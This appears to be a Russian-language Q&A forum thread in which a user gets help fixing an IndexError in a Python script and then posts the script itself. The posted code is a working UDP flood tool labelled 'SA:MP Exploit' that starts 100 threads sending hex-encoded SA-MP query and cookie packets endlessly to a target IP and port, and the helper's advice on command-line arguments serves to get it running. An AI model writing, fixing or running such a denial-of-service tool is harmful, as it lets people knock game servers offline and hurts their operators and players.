Ошибка "IndexError: list index out of range" возникает, когда ты пытаешься получить доступ к индексу списка, который находится за пределами допустимого диапазона.
В твоем коде проблема, скорее всего, возникает из-за того, что вы пытаетесь получить аргументы командной строки, которые не были переданы при запуске скрипта. Конкретно, эти строки:
ip = sys.argv[1]
port = sys.argv[2]
Более правильнее
if len(sys.argv) < 3:
print("Usage: python script.py <ip> <port>")
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
или
ip = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = sys.argv[2] if len(sys.argv) > 2 else "80"
и Запускать нужно как пример :
python твой скрипт.py 192.168.1.1 8080
Дениэль ЕгоровУченик (104)
1 месяц назад
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 31, in <module>
start(fakepyfile,mainpyfile)
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 30, in start
exec(open(mainpyfile).read(), __main__.__dict__)
File "<string>", line 13
port = sys.argv[2] if len(sys.argv
^
SyntaxError: '(' was never closed
[Program finished]
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 31, in <module>
start(fakepyfile,mainpyfile)
File "/data/user/0/ru.iiec.pydroid3/files/accomp_files/iiec_run/iiec_run.py", line 30, in start
exec(open(mainpyfile).read(), __main__.__dict__)
File "<string>", line 12, in <module>
IndexError: list index out of range
Вот код!!
import socket
import struct
import codecs,sys
import threading
import random
import time
import os
ip = sys.argv[1]
port = sys.argv[2]
orgip =ip
Pacotes = [codecs.decode("53414d5090d91d4d611e700a465b00","hex_codec"),#p
codecs.decode("53414d509538e1a9611e63","hex_codec"),#c
codecs.decode("53414d509538e1a9611e69","hex_codec"),#i
codecs.decode("53414d509538e1a9611e72","hex_codec"),#r
codecs.decode("081e62da","hex_codec"), #cookie port 7796
codecs.decode("081e77da","hex_codec"),#cookie port 7777
codecs.decode("081e4dda","hex_codec"),#cookie port 7771
codecs.decode("021efd40","hex_codec"),#cookie port 7784
codecs.decode("021efd40","hex_codec"),#cookie port 1111
codecs.decode("081e7eda","hex_codec")#cookie port 1111 tambem
]
print("Ataque iniciado no ip: %s e Porta: %s"%(orgip,port))
class MyThread(threading.Thread):
def run(self):
while True:
sock = socket.socket(
socket.AF_INET, socket.SOCK_DGRAM) # Internet and UDP
msg = Pacotes[random.randrange(0,3)]
sock.sendto(msg, (ip, int(port)))
if(int(port) == 7777):
sock.sendto(Pacotes[5], (ip, int(port)))
elif(int(port) == 7796):
sock.sendto(Pacotes[4], (ip, int(port)))
elif(int(port) == 7771):
sock.sendto(Pacotes[6], (ip, int(port)))
elif(int(port) == 7784):
sock.sendto(Pacotes[7], (ip, int(port)))
elif(int(port) == 1111):
sock.sendto(Pacotes[9], (ip, int(port)))
if __name__ == '__main__':
try:
for x in range(100):
mythread = MyThread()
mythread.start()
time.sleep(.1)
except(KeyboardInterrupt):
os.system('cls' if os.name == 'nt' else 'clear')
print('#########################################################################')
print('SA:MP Exploit')
print('#########################################################################')
print('\n\n')
print('Ataque para ip {} foi parado'.format(orgip))
pass